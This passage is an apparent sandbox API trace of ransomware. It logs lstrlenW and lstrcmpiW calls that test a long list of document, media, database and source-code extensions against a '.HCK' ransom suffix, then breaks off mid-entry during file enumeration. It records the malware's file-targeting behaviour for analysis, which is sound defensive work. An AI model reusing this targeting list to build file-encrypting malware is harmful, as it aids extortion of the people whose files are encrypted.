[0224.248] lstrcmpiW (lpString1=".as", lpString2="HCK") returned -1 [0224.248] lstrlenW (lpString=".asa") returned 4 [0224.248] lstrcmpiW (lpString1=".asa", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".asc") returned 4 [0224.248] lstrcmpiW (lpString1=".asc", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".ascx") returned 5 [0224.248] lstrcmpiW (lpString1=".ascx", lpString2="].HCK") returned -1 [0224.248] lstrlenW (lpString=".asm") returned 4 [0224.248] lstrcmpiW (lpString1=".asm", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".asmx") returned 5 [0224.248] lstrcmpiW (lpString1=".asmx", lpString2="].HCK") returned -1 [0224.248] lstrlenW (lpString=".asp") returned 4 [0224.248] lstrcmpiW (lpString1=".asp", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".aspx") returned 5 [0224.248] lstrcmpiW (lpString1=".aspx", lpString2="].HCK") returned -1 [0224.248] lstrlenW (lpString=".asr") returned 4 [0224.248] lstrcmpiW (lpString1=".asr", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".asx") returned 4 [0224.248] lstrcmpiW (lpString1=".asx", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".avi") returned 4 [0224.248] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".avs") returned 4 [0224.249] lstrcmpiW (lpString1=".avs", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".backup") returned 7 [0224.249] lstrcmpiW (lpString1=".backup", lpString2="io].HCK") returned -1 [0224.249] lstrlenW (lpString=".bak") returned 4 [0224.249] lstrcmpiW (lpString1=".bak", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".bay") returned 4 [0224.249] lstrcmpiW (lpString1=".bay", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".bd") returned 3 [0224.249] lstrcmpiW (lpString1=".bd", lpString2="HCK") returned -1 [0224.249] lstrlenW (lpString=".bin") returned 4 [0224.249] lstrcmpiW (lpString1=".bin", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".bmp") returned 4 [0224.249] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".bz2") returned 4 [0224.249] lstrcmpiW (lpString1=".bz2", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".c") returned 2 [0224.249] lstrcmpiW (lpString1=".c", lpString2="CK") returned -1 [0224.249] lstrlenW (lpString=".cdr") returned 4 [0224.249] lstrcmpiW (lpString1=".cdr", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".cer") returned 4 [0224.249] lstrcmpiW (lpString1=".cer", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".cf") returned 3 [0224.249] lstrcmpiW (lpString1=".cf", lpString2="HCK") returned -1 [0224.249] lstrlenW (lpString=".cfc") returned 4 [0224.249] lstrcmpiW (lpString1=".cfc", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".cfm") returned 4 [0224.249] lstrcmpiW (lpString1=".cfm", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".cfml") returned 5 [0224.249] lstrcmpiW (lpString1=".cfml", lpString2="].HCK") returned -1 [0224.249] lstrlenW (lpString=".cfu") returned 4 [0224.249] lstrcmpiW (lpString1=".cfu", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".chm") returned 4 [0224.249] lstrcmpiW (lpString1=".chm", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".cin") returned 4 [0224.249] lstrcmpiW (lpString1=".cin", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".class") returned 6 [0224.249] lstrcmpiW (lpString1=".class", lpString2="o].HCK") returned -1 [0224.249] lstrlenW (lpString=".clx") returned 4 [0224.249] lstrcmpiW (lpString1=".clx", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".config") returned 7 [0224.249] lstrcmpiW (lpString1=".config", lpString2="io].HCK") returned -1 [0224.249] lstrlenW (lpString=".cpp") returned 4 [0224.249] lstrcmpiW (lpString1=".cpp", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".cr2") returned 4 [0224.249] lstrcmpiW (lpString1=".cr2", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".crt") returned 4 [0224.249] lstrcmpiW (lpString1=".crt", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".crw") returned 4 [0224.249] lstrcmpiW (lpString1=".crw", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".cs") returned 3 [0224.249] lstrcmpiW (lpString1=".cs", lpString2="HCK") returned -1 [0224.249] lstrlenW (lpString=".css") returned 4 [0224.249] lstrcmpiW (lpString1=".css", lpString2=".HCK") returned -1 [0224.249] lstrlenW (lpString=".csv") returned 4 [0224.249] lstrcmpiW (lpString1=".csv", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".cub") returned 4 [0224.250] lstrcmpiW (lpString1=".cub", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dae") returned 4 [0224.250] lstrcmpiW (lpString1=".dae", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dat") returned 4 [0224.250] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".db") returned 3 [0224.250] lstrcmpiW (lpString1=".db", lpString2="HCK") returned -1 [0224.250] lstrlenW (lpString=".dbf") returned 4 [0224.250] lstrcmpiW (lpString1=".dbf", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dbx") returned 4 [0224.250] lstrcmpiW (lpString1=".dbx", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dc3") returned 4 [0224.250] lstrcmpiW (lpString1=".dc3", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dcm") returned 4 [0224.250] lstrcmpiW (lpString1=".dcm", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dcr") returned 4 [0224.250] lstrcmpiW (lpString1=".dcr", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".der") returned 4 [0224.250] lstrcmpiW (lpString1=".der", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dib") returned 4 [0224.250] lstrcmpiW (lpString1=".dib", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dic") returned 4 [0224.250] lstrcmpiW (lpString1=".dic", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dif") returned 4 [0224.250] lstrcmpiW (lpString1=".dif", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".divx") returned 5 [0224.250] lstrcmpiW (lpString1=".divx", lpString2="].HCK") returned -1 [0224.250] lstrlenW (lpString=".djvu") returned 5 [0224.250] lstrcmpiW (lpString1=".djvu", lpString2="].HCK") returned -1 [0224.250] lstrlenW (lpString=".dng") returned 4 [0224.250] lstrcmpiW (lpString1=".dng", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".doc") returned 4 [0224.250] lstrcmpiW (lpString1=".doc", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".docm") returned 5 [0224.250] lstrcmpiW (lpString1=".docm", lpString2="].HCK") returned -1 [0224.250] lstrlenW (lpString=".docx") returned 5 [0224.250] lstrcmpiW (lpString1=".docx", lpString2="].HCK") returned -1 [0224.250] lstrlenW (lpString=".dot") returned 4 [0224.250] lstrcmpiW (lpString1=".dot", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dotm") returned 5 [0224.250] lstrcmpiW (lpString1=".dotm", lpString2="].HCK") returned -1 [0224.250] lstrlenW (lpString=".dotx") returned 5 [0224.250] lstrcmpiW (lpString1=".dotx", lpString2="].HCK") returned -1 [0224.250] lstrlenW (lpString=".dpx") returned 4 [0224.250] lstrcmpiW (lpString1=".dpx", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dqy") returned 4 [0224.250] lstrcmpiW (lpString1=".dqy", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dsn") returned 4 [0224.250] lstrcmpiW (lpString1=".dsn", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dt") returned 3 [0224.250] lstrcmpiW (lpString1=".dt", lpString2="HCK") returned -1 [0224.250] lstrlenW (lpString=".dtd") returned 4 [0224.250] lstrcmpiW (lpString1=".dtd", lpString2=".HCK") returned -1 [0224.250] lstrlenW (lpString=".dwg") returned 4 [0224.251] lstrcmpiW (lpString1=".dwg", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".dwt") returned 4 [0224.251] lstrcmpiW (lpString1=".dwt", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".dx") returned 3 [0224.251] lstrcmpiW (lpString1=".dx", lpString2="HCK") returned -1 [0224.251] lstrlenW (lpString=".dxf") returned 4 [0224.251] lstrcmpiW (lpString1=".dxf", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".edml") returned 5 [0224.251] lstrcmpiW (lpString1=".edml", lpString2="].HCK") returned -1 [0224.251] lstrlenW (lpString=".efd") returned 4 [0224.251] lstrcmpiW (lpString1=".efd", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".elf") returned 4 [0224.251] lstrcmpiW (lpString1=".elf", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".emf") returned 4 [0224.251] lstrcmpiW (lpString1=".emf", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".emz") returned 4 [0224.251] lstrcmpiW (lpString1=".emz", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".epf") returned 4 [0224.251] lstrcmpiW (lpString1=".epf", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".eps") returned 4 [0224.251] lstrcmpiW (lpString1=".eps", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".epsf") returned 5 [0224.251] lstrcmpiW (lpString1=".epsf", lpString2="].HCK") returned -1 [0224.251] lstrlenW (lpString=".epsp") returned 5 [0224.251] lstrcmpiW (lpString1=".epsp", lpString2="].HCK") returned -1 [0224.251] lstrlenW (lpString=".erf") returned 4 [0224.251] lstrcmpiW (lpString1=".erf", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".exr") returned 4 [0224.251] lstrcmpiW (lpString1=".exr", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".f4v") returned 4 [0224.251] lstrcmpiW (lpString1=".f4v", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".fido") returned 5 [0224.251] lstrcmpiW (lpString1=".fido", lpString2="].HCK") returned -1 [0224.251] lstrlenW (lpString=".flm") returned 4 [0224.251] lstrcmpiW (lpString1=".flm", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".flv") returned 4 [0224.251] lstrcmpiW (lpString1=".flv", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".frm") returned 4 [0224.251] lstrcmpiW (lpString1=".frm", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".fxg") returned 4 [0224.251] lstrcmpiW (lpString1=".fxg", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".geo") returned 4 [0224.251] lstrcmpiW (lpString1=".geo", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".gif") returned 4 [0224.251] lstrcmpiW (lpString1=".gif", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".grs") returned 4 [0224.251] lstrcmpiW (lpString1=".grs", lpString2=".HCK") returned -1 [0224.251] lstrlenW (lpString=".gz") returned 3 [0224.251] lstrcmpiW (lpString1=".gz", lpString2="HCK") returned -1 [0224.251] lstrlenW (lpString=".h") returned 2 [0224.251] lstrcmpiW (lpString1=".h", lpString2="CK") returned -1 [0224.251] lstrlenW (lpString=".hdr") returned 4 [0224.251] lstrcmpiW (lpString1=".hdr", lpString2=".HCK") returned 1 [0224.251] lstrlenW (lpString=".hpp") returned 4 [0224.251] lstrcmpiW (lpString1=".hpp", lpString2=".HCK") returned 1 [0224.251] lstrlenW (lpString=".hta") returned 4 [0224.252] lstrcmpiW (lpString1=".hta", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".htc") returned 4 [0224.252] lstrcmpiW (lpString1=".htc", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".htm") returned 4 [0224.252] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".html") returned 5 [0224.252] lstrcmpiW (lpString1=".html", lpString2="].HCK") returned -1 [0224.252] lstrlenW (lpString=".icb") returned 4 [0224.252] lstrcmpiW (lpString1=".icb", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".ics") returned 4 [0224.252] lstrcmpiW (lpString1=".ics", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".iff") returned 4 [0224.252] lstrcmpiW (lpString1=".iff", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".inc") returned 4 [0224.252] lstrcmpiW (lpString1=".inc", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".indd") returned 5 [0224.252] lstrcmpiW (lpString1=".indd", lpString2="].HCK") returned -1 [0224.252] lstrlenW (lpString=".ini") returned 4 [0224.252] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".iqy") returned 4 [0224.252] lstrcmpiW (lpString1=".iqy", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".j2c") returned 4 [0224.252] lstrcmpiW (lpString1=".j2c", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".j2k") returned 4 [0224.252] lstrcmpiW (lpString1=".j2k", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".java") returned 5 [0224.252] lstrcmpiW (lpString1=".java", lpString2="].HCK") returned -1 [0224.252] lstrlenW (lpString=".jp2") returned 4 [0224.252] lstrcmpiW (lpString1=".jp2", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".jpc") returned 4 [0224.252] lstrcmpiW (lpString1=".jpc", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".jpe") returned 4 [0224.252] lstrcmpiW (lpString1=".jpe", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".jpeg") returned 5 [0224.252] lstrcmpiW (lpString1=".jpeg", lpString2="].HCK") returned -1 [0224.252] lstrlenW (lpString=".jpf") returned 4 [0224.252] lstrcmpiW (lpString1=".jpf", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".jpg") returned 4 [0224.252] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".jpx") returned 4 [0224.252] lstrcmpiW (lpString1=".jpx", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".js") returned 3 [0224.252] lstrcmpiW (lpString1=".js", lpString2="HCK") returned -1 [0224.252] lstrlenW (lpString=".jsf") returned 4 [0224.252] lstrcmpiW (lpString1=".jsf", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".json") returned 5 [0224.252] lstrcmpiW (lpString1=".json", lpString2="].HCK") returned -1 [0224.252] lstrlenW (lpString=".jsp") returned 4 [0224.252] lstrcmpiW (lpString1=".jsp", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".kdc") returned 4 [0224.252] lstrcmpiW (lpString1=".kdc", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".kmz") returned 4 [0224.252] lstrcmpiW (lpString1=".kmz", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".kwm") returned 4 [0224.252] lstrcmpiW (lpString1=".kwm", lpString2=".HCK") returned 1 [0224.252] lstrlenW (lpString=".lasso") returned 6 [0224.253] lstrcmpiW (lpString1=".lasso", lpString2="o].HCK") returned -1 [0224.253] lstrlenW (lpString=".lbi") returned 4 [0224.253] lstrcmpiW (lpString1=".lbi", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".lgf") returned 4 [0224.253] lstrcmpiW (lpString1=".lgf", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".lgp") returned 4 [0224.253] lstrcmpiW (lpString1=".lgp", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".log") returned 4 [0224.253] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".m1v") returned 4 [0224.253] lstrcmpiW (lpString1=".m1v", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".m4a") returned 4 [0224.253] lstrcmpiW (lpString1=".m4a", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".m4v") returned 4 [0224.253] lstrcmpiW (lpString1=".m4v", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".max") returned 4 [0224.253] lstrcmpiW (lpString1=".max", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".md") returned 3 [0224.253] lstrcmpiW (lpString1=".md", lpString2="HCK") returned -1 [0224.253] lstrlenW (lpString=".mda") returned 4 [0224.253] lstrcmpiW (lpString1=".mda", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mdb") returned 4 [0224.253] lstrcmpiW (lpString1=".mdb", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mde") returned 4 [0224.253] lstrcmpiW (lpString1=".mde", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mdf") returned 4 [0224.253] lstrcmpiW (lpString1=".mdf", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mdw") returned 4 [0224.253] lstrcmpiW (lpString1=".mdw", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mef") returned 4 [0224.253] lstrcmpiW (lpString1=".mef", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mft") returned 4 [0224.253] lstrcmpiW (lpString1=".mft", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mfw") returned 4 [0224.253] lstrcmpiW (lpString1=".mfw", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mht") returned 4 [0224.253] lstrcmpiW (lpString1=".mht", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mhtml") returned 6 [0224.253] lstrcmpiW (lpString1=".mhtml", lpString2="o].HCK") returned -1 [0224.253] lstrlenW (lpString=".mka") returned 4 [0224.253] lstrcmpiW (lpString1=".mka", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mkidx") returned 6 [0224.253] lstrcmpiW (lpString1=".mkidx", lpString2="o].HCK") returned -1 [0224.253] lstrlenW (lpString=".mkv") returned 4 [0224.253] lstrcmpiW (lpString1=".mkv", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mos") returned 4 [0224.253] lstrcmpiW (lpString1=".mos", lpString2=".HCK") returned 1 [0224.253] lstrlenW (lpString=".mov") returned 4 [0224.253] lstrcmpiW (lpString1=".mov", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".mp3") returned 4 [0224.254] lstrcmpiW (lpString1=".mp3", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".mp4") returned 4 [0224.254] lstrcmpiW (lpString1=".mp4", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".mpeg") returned 5 [0224.254] lstrcmpiW (lpString1=".mpeg", lpString2="].HCK") returned -1 [0224.254] lstrlenW (lpString=".mpg") returned 4 [0224.254] lstrcmpiW (lpString1=".mpg", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".mpv") returned 4 [0224.254] lstrcmpiW (lpString1=".mpv", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".mrw") returned 4 [0224.254] lstrcmpiW (lpString1=".mrw", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".msg") returned 4 [0224.254] lstrcmpiW (lpString1=".msg", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".mxl") returned 4 [0224.254] lstrcmpiW (lpString1=".mxl", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".myd") returned 4 [0224.254] lstrcmpiW (lpString1=".myd", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".myi") returned 4 [0224.254] lstrcmpiW (lpString1=".myi", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".nef") returned 4 [0224.254] lstrcmpiW (lpString1=".nef", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".nrw") returned 4 [0224.254] lstrcmpiW (lpString1=".nrw", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".obj") returned 4 [0224.254] lstrcmpiW (lpString1=".obj", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".odb") returned 4 [0224.254] lstrcmpiW (lpString1=".odb", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".odc") returned 4 [0224.254] lstrcmpiW (lpString1=".odc", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".odm") returned 4 [0224.254] lstrcmpiW (lpString1=".odm", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".odp") returned 4 [0224.254] lstrcmpiW (lpString1=".odp", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".ods") returned 4 [0224.254] lstrcmpiW (lpString1=".ods", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".oft") returned 4 [0224.254] lstrcmpiW (lpString1=".oft", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".one") returned 4 [0224.254] lstrcmpiW (lpString1=".one", lpString2=".HCK") returned 1 [0224.254] lstrlenW (lpString=".onepkg") returned 7 [0224.254] lstrcmpiW (lpString1=".onepkg", lpString2="io].HCK") returned -1 [0224.254] lstrlenW (lpString=".onetoc2") returned 8 [0224.254] lstrcmpiW (lpString1=".onetoc2", lpString2=".io].HCK") returned 1 [0224.255] lstrlenW (lpString=".opt") returned 4 [0224.255] lstrcmpiW (lpString1=".opt", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".oqy") returned 4 [0224.255] lstrcmpiW (lpString1=".oqy", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".orf") returned 4 [0224.255] lstrcmpiW (lpString1=".orf", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".p12") returned 4 [0224.255] lstrcmpiW (lpString1=".p12", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".p7b") returned 4 [0224.255] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".p7c") returned 4 [0224.255] lstrcmpiW (lpString1=".p7c", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pam") returned 4 [0224.255] lstrcmpiW (lpString1=".pam", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pbm") returned 4 [0224.255] lstrcmpiW (lpString1=".pbm", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pct") returned 4 [0224.255] lstrcmpiW (lpString1=".pct", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pcx") returned 4 [0224.255] lstrcmpiW (lpString1=".pcx", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pdd") returned 4 [0224.255] lstrcmpiW (lpString1=".pdd", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pdf") returned 4 [0224.255] lstrcmpiW (lpString1=".pdf", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pdp") returned 4 [0224.255] lstrcmpiW (lpString1=".pdp", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pef") returned 4 [0224.255] lstrcmpiW (lpString1=".pef", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pem") returned 4 [0224.255] lstrcmpiW (lpString1=".pem", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pff") returned 4 [0224.255] lstrcmpiW (lpString1=".pff", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pfm") returned 4 [0224.255] lstrcmpiW (lpString1=".pfm", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pfx") returned 4 [0224.255] lstrcmpiW (lpString1=".pfx", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".pgm") returned 4 [0224.255] lstrcmpiW (lpString1=".pgm", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".php") returned 4 [0224.255] lstrcmpiW (lpString1=".php", lpString2=".HCK") returned 1 [0224.255] lstrlenW (lpString=".php3") returned 5 [0224.255] lstrcmpiW (lpString1=".php3", lpString2="].HCK") returned -1 [0224.255] lstrlenW (lpString=".php4") returned 5 [0224.256] lstrcmpiW (lpString1=".php4", lpString2="].HCK") returned -1 [0224.256] lstrlenW (lpString=".php5") returned 5 [0224.256] lstrcmpiW (lpString1=".php5", lpString2="].HCK") returned -1 [0224.256] lstrlenW (lpString=".phtml") returned 6 [0224.256] lstrcmpiW (lpString1=".phtml", lpString2="o].HCK") returned -1 [0224.256] lstrlenW (lpString=".pict") returned 5 [0224.256] lstrcmpiW (lpString1=".pict", lpString2="].HCK") returned -1 [0224.256] lstrlenW (lpString=".pl") returned 3 [0224.256] lstrcmpiW (lpString1=".pl", lpString2="HCK") returned -1 [0224.256] lstrlenW (lpString=".pls") returned 4 [0224.256] lstrcmpiW (lpString1=".pls", lpString2=".HCK") returned 1 [0224.256] lstrlenW (lpString=".pm") returned 3 [0224.256] lstrcmpiW (lpString1=".pm", lpString2="HCK") returned -1 [0224.256] lstrlenW (lpString=".png") returned 4 [0224.256] lstrcmpiW (lpString1=".png", lpString2=".HCK") returned 1 [0224.256] lstrlenW (lpString=".pnm") returned 4 [0224.256] lstrcmpiW (lpString1=".pnm", lpString2=".HCK") returned 1 [0224.256] lstrlenW (lpString=".pot") returned 4 [0224.256] lstrcmpiW (lpString1=".pot", lpString2=".HCK") returned 1 [0224.256] lstrlenW (lpString=".potm") returned 5 [0224.256] lstrcmpiW (lpString1=".potm", lpString2="].HCK") returned -1 [0224.256] lstrlenW (lpString=".potx") returned 5 [0224.256] lstrcmpiW (lpString1=".potx", lpString2="].HCK") returned -1 [0224.256] lstrlenW (lpString=".ppa") returned 4 [0224.256] lstrcmpiW (lpString1=".ppa", lpString2=".HCK") returned 1 [0224.256] lstrlenW (lpString=".ppam") returned 5 [0224.256] lstrcmpiW (lpString1=".ppam", lpString2="].HCK") returned -1 [0224.256] lstrlenW (lpString=".ppm") returned 4 [0224.256] lstrcmpiW (lpString1=".ppm", lpString2=".HCK") returned 1 [0224.256] lstrlenW (lpString=".pps") returned 4 [0224.256] lstrcmpiW (lpString1=".pps", lpString2=".HCK") returned 1 [0224.256] lstrlenW (lpString=".ppsm") returned 5 [0224.256] lstrcmpiW (lpString1=".ppsm", lpString2="].HCK") returned -1 [0224.256] lstrlenW (lpString=".ppt") returned 4 [0224.256] lstrcmpiW (lpString1=".ppt", lpString2=".HCK") returned 1 [0224.256] lstrlenW (lpString=".pptm") returned 5 [0224.256] lstrcmpiW (lpString1=".pptm", lpString2="].HCK") returned -1 [0224.256] lstrlenW (lpString=".pptx") returned 5 [0224.256] lstrcmpiW (lpString1=".pptx", lpString2="].HCK") returned -1 [0224.256] lstrlenW (lpString=".prn") returned 4 [0224.256] lstrcmpiW (lpString1=".prn", lpString2=".HCK") returned 1 [0224.256] lstrlenW (lpString=".ps") returned 3 [0224.256] lstrcmpiW (lpString1=".ps", lpString2="HCK") returned -1 [0224.256] lstrlenW (lpString=".psb") returned 4 [0224.257] lstrcmpiW (lpString1=".psb", lpString2=".HCK") returned 1 [0224.257] lstrlenW (lpString=".psd") returned 4 [0224.257] lstrcmpiW (lpString1=".psd", lpString2=".HCK") returned 1 [0224.257] lstrlenW (lpString=".pst") returned 4 [0224.257] lstrcmpiW (lpString1=".pst", lpString2=".HCK") returned 1 [0224.257] lstrlenW (lpString=".ptx") returned 4 [0224.257] lstrcmpiW (lpString1=".ptx", lpString2=".HCK") returned 1 [0224.257] lstrlenW (lpString=".pub") returned 4 [0224.257] lstrcmpiW (lpString1=".pub", lpString2=".HCK") returned 1 [0224.257] lstrlenW (lpString=".pwm") returned 4 [0224.257] lstrcmpiW (lpString1=".pwm", lpString2=".HCK") returned 1 [0224.257] lstrlenW (lpString=".pxr") returned 4 [0224.257] lstrcmpiW (lpString1=".pxr", lpString2=".HCK") returned 1 [0224.257] lstrlenW (lpString=".py") returned 3 [0224.257] lstrcmpiW (lpString1=".py", lpString2="HCK") returned -1 [0224.257] lstrlenW (lpString=".qt") returned 3 [0224.257] lstrcmpiW (lpString1=".qt", lpString2="HCK") returned -1 [0224.257] lstrlenW (lpString=".r3d") returned 4 [0224.257] lstrcmpiW (lpString1=".r3d", lpString2=".HCK") returned 1 [0224.257] lstrlenW (lpString=".raf") returned 4 [0224.257] lstrcmpiW (lpString1=".raf", lpString2=".HCK") returned 1 [0224.257] lstrlenW (lpString=".rar") returned 4 [0224.257] lstrcmpiW (lpString1=".rar", lpString2=".HCK") returned 1 [0224.257] lstrlenW (lpString=".raw") returned 4 [0224.257] lstrcmpiW (lpString1=".raw", lpString2=".HCK") returned 1 [0224.257] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2abc7d3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2abc7d3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2abc7d3, ftLastWriteTime.dwHighDateTime=0x1d64098, 